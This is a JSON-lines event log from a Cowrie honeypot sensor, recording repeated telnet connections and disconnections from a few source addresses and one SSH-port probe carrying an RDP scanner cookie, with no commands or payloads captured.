{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":42410,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7cfd416f089","protocol":"telnet","message":"New connection: 192.119.108.58:42410 (159.203.135.109:23) [session: e7cfd416f089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:17.487401Z"}
{"eventid":"cowrie.session.closed","duration":31.637261629104614,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:18.012609Z","src_ip":"80.241.210.166","session":"62a950ba90d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":41296,"dst_ip":"159.203.135.109","dst_port":23,"session":"48e6219f5628","protocol":"telnet","message":"New connection: 192.119.108.58:41296 (159.203.135.109:23) [session: 48e6219f5628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:19.056219Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":45880,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d83bf53a16b","protocol":"telnet","message":"New connection: 192.119.108.58:45880 (159.203.135.109:23) [session: 7d83bf53a16b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:22.096088Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":36550,"dst_ip":"10.17.0.5","dst_port":23,"session":"519a82dbc3f8","protocol":"telnet","message":"New connection: 80.241.210.166:36550 (10.17.0.5:23) [session: 519a82dbc3f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:22.654670Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":40078,"dst_ip":"10.17.0.5","dst_port":23,"session":"54d897bd252d","protocol":"telnet","message":"New connection: 80.241.210.166:40078 (10.17.0.5:23) [session: 54d897bd252d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:23.508754Z"}
{"eventid":"cowrie.session.closed","duration":34.30223894119263,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:25.123705Z","src_ip":"80.241.210.166","session":"24ddf6562ad6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.214035749435425,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:26.073267Z","src_ip":"80.241.210.166","session":"342ca5161ccf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.884773015975952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:27.260644Z","src_ip":"80.241.210.166","session":"c0cc2d1544c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40308427810669,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:28.133164Z","src_ip":"192.119.108.58","session":"12b43a68da4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":47374,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ad9d6cb6bf5","protocol":"telnet","message":"New connection: 80.241.210.166:47374 (10.17.0.5:23) [session: 9ad9d6cb6bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:32.514836Z"}
{"eventid":"cowrie.session.closed","duration":30.827376127243042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:33.324576Z","src_ip":"80.241.210.166","session":"2df7c27149ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.403597831726074,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:36.617454Z","src_ip":"80.241.210.166","session":"2e4339659773","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":52540,"dst_ip":"10.17.0.5","dst_port":23,"session":"d44f0957389e","protocol":"telnet","message":"New connection: 80.241.210.166:52540 (10.17.0.5:23) [session: d44f0957389e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:36.725999Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":54818,"dst_ip":"10.17.0.5","dst_port":23,"session":"48dc777b036a","protocol":"telnet","message":"New connection: 80.241.210.166:54818 (10.17.0.5:23) [session: 48dc777b036a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:39.198018Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":36198,"dst_ip":"159.203.135.109","dst_port":23,"session":"a350d96a1e24","protocol":"telnet","message":"New connection: 192.119.108.58:36198 (159.203.135.109:23) [session: a350d96a1e24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:41.546836Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":39950,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf9d936a7b67","protocol":"telnet","message":"New connection: 80.241.210.166:39950 (10.17.0.5:23) [session: bf9d936a7b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:41.661327Z"}
{"eventid":"cowrie.session.closed","duration":31.001267433166504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:42.120345Z","src_ip":"192.119.108.58","session":"7e86b7f5af4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.505932569503784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:47.053156Z","src_ip":"192.119.108.58","session":"f3f7988924b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":35942,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c07fc843e70","protocol":"telnet","message":"New connection: 80.241.210.166:35942 (10.17.0.5:23) [session: 2c07fc843e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:48.232692Z"}
{"eventid":"cowrie.session.closed","duration":31.343528032302856,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:48.830819Z","src_ip":"192.119.108.58","session":"e7cfd416f089","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.163301944732666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:50.219350Z","src_ip":"192.119.108.58","session":"48e6219f5628","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":39006,"dst_ip":"10.17.0.5","dst_port":23,"session":"939d5f08ffb7","protocol":"telnet","message":"New connection: 80.241.210.166:39006 (10.17.0.5:23) [session: 939d5f08ffb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:51.001016Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":40140,"dst_ip":"10.17.0.5","dst_port":23,"session":"875351ddf5f7","protocol":"telnet","message":"New connection: 80.241.210.166:40140 (10.17.0.5:23) [session: 875351ddf5f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:52.029064Z"}
{"eventid":"cowrie.session.closed","duration":31.20482063293457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:53.300774Z","src_ip":"192.119.108.58","session":"7d83bf53a16b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.018535375595093,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:54.527161Z","src_ip":"80.241.210.166","session":"54d897bd252d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":43162,"dst_ip":"10.17.0.5","dst_port":23,"session":"deda92200bec","protocol":"telnet","message":"New connection: 80.241.210.166:43162 (10.17.0.5:23) [session: deda92200bec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:55.937136Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":44558,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4e42261b030","protocol":"telnet","message":"New connection: 80.241.210.166:44558 (10.17.0.5:23) [session: e4e42261b030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:56.297909Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":48666,"dst_ip":"159.203.135.109","dst_port":23,"session":"82c5c61450f4","protocol":"telnet","message":"New connection: 192.119.108.58:48666 (159.203.135.109:23) [session: 82c5c61450f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:56.992138Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":44666,"dst_ip":"10.17.0.5","dst_port":23,"session":"082c20936d6f","protocol":"telnet","message":"New connection: 80.241.210.166:44666 (10.17.0.5:23) [session: 082c20936d6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:57.500134Z"}
{"eventid":"cowrie.session.closed","duration":37.62723088264465,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:00.281780Z","src_ip":"80.241.210.166","session":"519a82dbc3f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.662484169006348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:03.177182Z","src_ip":"80.241.210.166","session":"9ad9d6cb6bf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":52100,"dst_ip":"10.17.0.5","dst_port":23,"session":"80a5b4bfc79f","protocol":"telnet","message":"New connection: 80.241.210.166:52100 (10.17.0.5:23) [session: 80a5b4bfc79f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:03.460680Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":55332,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad5799db2334","protocol":"telnet","message":"New connection: 80.241.210.166:55332 (10.17.0.5:23) [session: ad5799db2334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:05.665530Z"}
{"eventid":"cowrie.session.closed","duration":30.506298780441284,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:07.232208Z","src_ip":"80.241.210.166","session":"d44f0957389e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":59945,"dst_ip":"10.17.0.5","dst_port":22,"session":"53ccfcbe8e35","protocol":"ssh","message":"New connection: 103.149.252.223:59945 (10.17.0.5:22) [session: 53ccfcbe8e35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:07.355131Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:07.383319Z","src_ip":"103.149.252.223","session":"53ccfcbe8e35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:07.387566Z","src_ip":"103.149.252.223","session":"53ccfcbe8e35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":59056,"dst_ip":"10.17.0.5","dst_port":23,"session":"08cc2285f561","protocol":"telnet","message":"New connection: 80.241.210.166:59056 (10.17.0.5:23) [session: 08cc2285f561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:09.141869Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":59534,"dst_ip":"10.17.0.5","dst_port":23,"session":"05ed64d3556f","protocol":"telnet","message":"New connection: 80.241.210.166:59534 (10.17.0.5:23) [session: 05ed64d3556f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:09.640981Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":59648,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd89aba6c865","protocol":"telnet","message":"New connection: 80.241.210.166:59648 (10.17.0.5:23) [session: cd89aba6c865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:09.709946Z"}
{"eventid":"cowrie.session.closed","duration":31.62279224395752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:10.820694Z","src_ip":"80.241.210.166","session":"48dc777b036a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":32854,"dst_ip":"10.17.0.5","dst_port":23,"session":"f91c0b28e50f","protocol":"telnet","message":"New connection: 80.241.210.166:32854 (10.17.0.5:23) [session: f91c0b28e50f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:11.074865Z"}
{"eventid":"cowrie.session.closed","duration":30.719162940979004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:12.265921Z","src_ip":"192.119.108.58","session":"a350d96a1e24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":33298,"dst_ip":"10.17.0.5","dst_port":23,"session":"27377c14cc78","protocol":"telnet","message":"New connection: 80.241.210.166:33298 (10.17.0.5:23) [session: 27377c14cc78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:14.696603Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":37120,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5b1359c9677","protocol":"telnet","message":"New connection: 80.241.210.166:37120 (10.17.0.5:23) [session: a5b1359c9677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:16.040003Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":38966,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb68cf4a31fe","protocol":"telnet","message":"New connection: 80.241.210.166:38966 (10.17.0.5:23) [session: eb68cf4a31fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:16.553756Z"}
{"eventid":"cowrie.session.closed","duration":36.477256298065186,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:18.138477Z","src_ip":"80.241.210.166","session":"bf9d936a7b67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":41728,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ee28ddae33c","protocol":"telnet","message":"New connection: 80.241.210.166:41728 (10.17.0.5:23) [session: 1ee28ddae33c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:19.055663Z"}
{"eventid":"cowrie.session.closed","duration":30.91953945159912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:19.152120Z","src_ip":"80.241.210.166","session":"2c07fc843e70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23975706100464,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:22.240626Z","src_ip":"80.241.210.166","session":"939d5f08ffb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.97097086906433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:23.999923Z","src_ip":"80.241.210.166","session":"875351ddf5f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":48146,"dst_ip":"10.17.0.5","dst_port":23,"session":"134107498396","protocol":"telnet","message":"New connection: 80.241.210.166:48146 (10.17.0.5:23) [session: 134107498396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:25.569705Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":49966,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd6a170cb0f9","protocol":"telnet","message":"New connection: 80.241.210.166:49966 (10.17.0.5:23) [session: fd6a170cb0f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:26.026936Z"}
{"eventid":"cowrie.session.closed","duration":31.53629994392395,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:27.473307Z","src_ip":"80.241.210.166","session":"deda92200bec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.469335317611694,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:27.767143Z","src_ip":"80.241.210.166","session":"e4e42261b030","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":52420,"dst_ip":"10.17.0.5","dst_port":23,"session":"acb337158f7e","protocol":"telnet","message":"New connection: 80.241.210.166:52420 (10.17.0.5:23) [session: acb337158f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:28.301000Z"}
{"eventid":"cowrie.session.closed","duration":30.813356161117554,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:28.313359Z","src_ip":"80.241.210.166","session":"082c20936d6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":52960,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4016c17ec3a","protocol":"telnet","message":"New connection: 80.241.210.166:52960 (10.17.0.5:23) [session: e4016c17ec3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:28.786021Z"}
{"eventid":"cowrie.session.closed","duration":31.973216772079468,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:28.965169Z","src_ip":"192.119.108.58","session":"82c5c61450f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":56440,"dst_ip":"10.17.0.5","dst_port":23,"session":"52cd5d4c055f","protocol":"telnet","message":"New connection: 80.241.210.166:56440 (10.17.0.5:23) [session: 52cd5d4c055f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:31.322233Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":56944,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0ca55f91ea8","protocol":"telnet","message":"New connection: 80.241.210.166:56944 (10.17.0.5:23) [session: b0ca55f91ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:31.623772Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":56512,"dst_ip":"10.17.0.5","dst_port":23,"session":"a103cdafb51e","protocol":"telnet","message":"New connection: 80.241.210.166:56512 (10.17.0.5:23) [session: a103cdafb51e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:32.364763Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":60294,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a7aebcbe0d7","protocol":"telnet","message":"New connection: 80.241.210.166:60294 (10.17.0.5:23) [session: 0a7aebcbe0d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:34.407810Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":60544,"dst_ip":"10.17.0.5","dst_port":23,"session":"7026ecf5782a","protocol":"telnet","message":"New connection: 80.241.210.166:60544 (10.17.0.5:23) [session: 7026ecf5782a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:34.679028Z"}
{"eventid":"cowrie.session.closed","duration":32.748295307159424,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:36.208814Z","src_ip":"80.241.210.166","session":"80a5b4bfc79f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.336294889450073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:37.001673Z","src_ip":"80.241.210.166","session":"ad5799db2334","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":35198,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab5161a4f398","protocol":"telnet","message":"New connection: 80.241.210.166:35198 (10.17.0.5:23) [session: ab5161a4f398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:37.139626Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":34128,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf15ace6f00c","protocol":"telnet","message":"New connection: 80.241.210.166:34128 (10.17.0.5:23) [session: cf15ace6f00c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:37.392344Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":34066,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a90d77de569","protocol":"telnet","message":"New connection: 80.241.210.166:34066 (10.17.0.5:23) [session: 0a90d77de569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:38.394869Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":36830,"dst_ip":"10.17.0.5","dst_port":23,"session":"b580f97137c5","protocol":"telnet","message":"New connection: 80.241.210.166:36830 (10.17.0.5:23) [session: b580f97137c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:38.815109Z"}
{"eventid":"cowrie.session.closed","duration":31.238120079040527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:40.379819Z","src_ip":"80.241.210.166","session":"08cc2285f561","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02525544166565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:40.735066Z","src_ip":"80.241.210.166","session":"cd89aba6c865","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14317512512207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:40.784041Z","src_ip":"80.241.210.166","session":"05ed64d3556f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":42142,"dst_ip":"10.17.0.5","dst_port":23,"session":"2344fb30d1d5","protocol":"telnet","message":"New connection: 80.241.210.166:42142 (10.17.0.5:23) [session: 2344fb30d1d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:42.844698Z"}
{"eventid":"cowrie.session.closed","duration":33.70170021057129,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:44.776467Z","src_ip":"80.241.210.166","session":"f91c0b28e50f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":45096,"dst_ip":"10.17.0.5","dst_port":23,"session":"81b5cdce2b6c","protocol":"telnet","message":"New connection: 80.241.210.166:45096 (10.17.0.5:23) [session: 81b5cdce2b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:45.626125Z"}
{"eventid":"cowrie.session.closed","duration":31.04262661933899,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:45.739105Z","src_ip":"80.241.210.166","session":"27377c14cc78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.606423377990723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:47.160075Z","src_ip":"80.241.210.166","session":"eb68cf4a31fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.447773218154907,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:47.487655Z","src_ip":"80.241.210.166","session":"a5b1359c9677","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.8538761138916,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:50.909257Z","src_ip":"80.241.210.166","session":"1ee28ddae33c","protocol":"telnet"}
